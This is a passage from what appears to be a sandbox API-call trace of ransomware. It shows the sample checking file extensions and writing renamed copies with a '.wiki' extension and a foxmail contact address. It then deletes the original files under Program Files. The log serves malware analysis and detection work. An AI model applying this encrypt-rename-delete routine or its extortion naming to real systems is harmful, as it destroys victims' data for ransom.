-1 [0185.112] lstrlenW (lpString=".xls") returned 4 [0185.112] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.112] lstrlenW (lpString=".xlsx") returned 5 [0185.112] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0185.112] lstrlenW (lpString=".ppt") returned 4 [0185.112] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.112] lstrlenW (lpString=".zip") returned 4 [0185.112] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.112] lstrlenW (lpString=".rar") returned 4 [0185.112] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.112] lstrlenW (lpString=".bz2") returned 4 [0185.112] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.112] lstrlenW (lpString=".7z") returned 3 [0185.112] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.112] lstrlenW (lpString=".dbf") returned 4 [0185.112] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.112] lstrlenW (lpString=".1cd") returned 4 [0185.112] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png") returned 68 [0185.113] lstrlenW (lpString=".jpg") returned 4 [0185.113] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.113] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0185.113] lstrlenW (lpString="button-highlight.png") returned 20 [0185.113] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.114] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=716) returned 1 [0185.114] CloseHandle (hObject=0x1d0) returned 1 [0185.115] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png")) returned 0x20 [0185.115] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.115] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0185.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.115] lstrlenW (lpString=".doc") returned 4 [0185.115] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.115] lstrlenW (lpString=".docx") returned 5 [0185.115] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0185.115] lstrlenW (lpString=".pdf") returned 4 [0185.115] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.115] lstrlenW (lpString=".xls") returned 4 [0185.115] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.115] lstrlenW (lpString=".xlsx") returned 5 [0185.115] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0185.115] lstrlenW (lpString=".ppt") returned 4 [0185.115] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.115] lstrlenW (lpString=".zip") returned 4 [0185.115] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.115] lstrlenW (lpString=".rar") returned 4 [0185.115] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.115] lstrlenW (lpString=".bz2") returned 4 [0185.115] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.115] lstrlenW (lpString=".7z") returned 3 [0185.115] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.115] lstrlenW (lpString=".dbf") returned 4 [0185.116] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.116] lstrlenW (lpString=".1cd") returned 4 [0185.116] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.116] lstrlenW (lpString=".jpg") returned 4 [0185.116] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.116] lstrlenW (lpString=".doc") returned 4 [0185.116] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.116] lstrlenW (lpString=".docx") returned 5 [0185.116] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0185.116] lstrlenW (lpString=".pdf") returned 4 [0185.116] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.116] lstrlenW (lpString=".xls") returned 4 [0185.116] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.116] lstrlenW (lpString=".xlsx") returned 5 [0185.116] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0185.116] lstrlenW (lpString=".ppt") returned 4 [0185.116] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.116] lstrlenW (lpString=".zip") returned 4 [0185.116] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.116] lstrlenW (lpString=".rar") returned 4 [0185.116] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.116] lstrlenW (lpString=".bz2") returned 4 [0185.116] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.116] lstrlenW (lpString=".7z") returned 3 [0185.117] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.117] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.117] lstrlenW (lpString=".dbf") returned 4 [0185.117] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.117] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.117] lstrlenW (lpString=".1cd") returned 4 [0185.117] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.117] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned 71 [0185.117] lstrlenW (lpString=".jpg") returned 4 [0185.117] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.117] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0185.117] lstrlenW (lpString="content-background.png") returned 22 [0185.117] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.117] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=293917) returned 1 [0185.117] CloseHandle (hObject=0x1d0) returned 1 [0185.118] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png")) returned 0x20 [0185.118] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.118] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0185.118] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png") returned 73 [0185.118] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png") returned 73 [0185.118] lstrlenW (lpString=".doc") returned 4 [0185.118] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.118] lstrlenW (lpString=".docx") returned 5 [0185.118] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0185.118] lstrlenW (lpString=".pdf") returned 4 [0185.118] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.118] lstrlenW (lpString=".xls") returned 4 [0185.118] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.118] lstrlenW (lpString=".xlsx") returned 5 [0185.118] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0185.118] lstrlenW (lpString=".ppt") returned 4 [0185.118] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.118] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png") returned 73 [0185.118] lstrlenW (lpString=".zip") returned 4 [0185.118] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.118] lstrlenW (lpString=".rar") returned 4 [0185.118] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.118] lstrlenW (lpString=".bz2") returned 4 [0185.118] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.118] lstrlenW (lpString=".7z") returned 3 [0185.118] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.118] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png") returned 73 [0185.129] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.129] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.129] GetLastError () returned 0x0 [0185.130] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xec4, lpOverlapped=0x0) returned 1 [0185.506] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xed0, lpOverlapped=0x0) returned 1 [0185.507] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.507] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.508] SetEndOfFile (hFile=0x1f4) returned 1 [0185.508] CloseHandle (hObject=0x1f4) returned 1 [0185.508] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.508] SetEndOfFile (hFile=0x1d0) returned 1 [0185.509] CloseHandle (hObject=0x1d0) returned 1 [0185.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0185.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.523] lstrlenW (lpString=".doc") returned 4 [0185.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.523] lstrlenW (lpString=".docx") returned 5 [0185.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.523] lstrlenW (lpString=".pdf") returned 4 [0185.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.523] lstrlenW (lpString=".xls") returned 4 [0185.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.523] lstrlenW (lpString=".xlsx") returned 5 [0185.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.523] lstrlenW (lpString=".ppt") returned 4 [0185.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.523] lstrlenW (lpString=".zip") returned 4 [0185.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.523] lstrlenW (lpString=".rar") returned 4 [0185.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.523] lstrlenW (lpString=".bz2") returned 4 [0185.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.523] lstrlenW (lpString=".7z") returned 3 [0185.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.523] lstrlenW (lpString=".dbf") returned 4 [0185.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.523] lstrlenW (lpString=".1cd") returned 4 [0185.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.523] lstrlenW (lpString=".jpg") returned 4 [0185.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.524] lstrlenW (lpString=".doc") returned 4 [0185.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.524] lstrlenW (lpString=".docx") returned 5 [0185.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.524] lstrlenW (lpString=".pdf") returned 4 [0185.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.524] lstrlenW (lpString=".xls") returned 4 [0185.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.524] lstrlenW (lpString=".xlsx") returned 5 [0185.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.524] lstrlenW (lpString=".ppt") returned 4 [0185.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.524] lstrlenW (lpString=".zip") returned 4 [0185.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.524] lstrlenW (lpString=".rar") returned 4 [0185.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.524] lstrlenW (lpString=".bz2") returned 4 [0185.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.524] lstrlenW (lpString=".7z") returned 3 [0185.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.524] lstrlenW (lpString=".dbf") returned 4 [0185.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.524] lstrlenW (lpString=".1cd") returned 4 [0185.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0185.524] lstrlenW (lpString=".jpg") returned 4 [0185.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.525] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.525] lstrlenW (lpString="BL00392_.WMF") returned 12 [0185.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.525] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=27050) returned 1 [0185.525] CloseHandle (hObject=0x1d0) returned 1 [0185.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0185.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.526] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.526] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.527] GetLastError () returned 0x0 [0185.527] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x69aa, lpOverlapped=0x0) returned 1 [0185.530] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0185.534] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.534] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.534] SetEndOfFile (hFile=0x1f4) returned 1 [0185.535] CloseHandle (hObject=0x1f4) returned 1 [0185.535] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.535] SetEndOfFile (hFile=0x1d0) returned 1 [0185.536] CloseHandle (hObject=0x1d0) returned 1 [0185.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0185.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.536] lstrlenW (lpString=".doc") returned 4 [0185.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.536] lstrlenW (lpString=".docx") returned 5 [0185.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.536] lstrlenW (lpString=".pdf") returned 4 [0185.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.536] lstrlenW (lpString=".xls") returned 4 [0185.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.536] lstrlenW (lpString=".xlsx") returned 5 [0185.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.536] lstrlenW (lpString=".ppt") returned 4 [0185.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.536] lstrlenW (lpString=".zip") returned 4 [0185.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.537] lstrlenW (lpString=".rar") returned 4 [0185.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.537] lstrlenW (lpString=".bz2") returned 4 [0185.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.537] lstrlenW (lpString=".7z") returned 3 [0185.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.537] lstrlenW (lpString=".dbf") returned 4 [0185.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.537] lstrlenW (lpString=".1cd") returned 4 [0185.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.537] lstrlenW (lpString=".jpg") returned 4 [0185.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.537] lstrlenW (lpString=".doc") returned 4 [0185.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.537] lstrlenW (lpString=".docx") returned 5 [0185.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.537] lstrlenW (lpString=".pdf") returned 4 [0185.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.537] lstrlenW (lpString=".xls") returned 4 [0185.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.537] lstrlenW (lpString=".xlsx") returned 5 [0185.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.537] lstrlenW (lpString=".ppt") returned 4 [0185.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.537] lstrlenW (lpString=".zip") returned 4 [0185.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.537] lstrlenW (lpString=".rar") returned 4 [0185.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.538] lstrlenW (lpString=".bz2") returned 4 [0185.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.538] lstrlenW (lpString=".7z") returned 3 [0185.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.538] lstrlenW (lpString=".dbf") returned 4 [0185.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.538] lstrlenW (lpString=".1cd") returned 4 [0185.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0185.538] lstrlenW (lpString=".jpg") returned 4 [0185.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.538] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.538] lstrlenW (lpString="BL00524_.WMF") returned 12 [0185.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 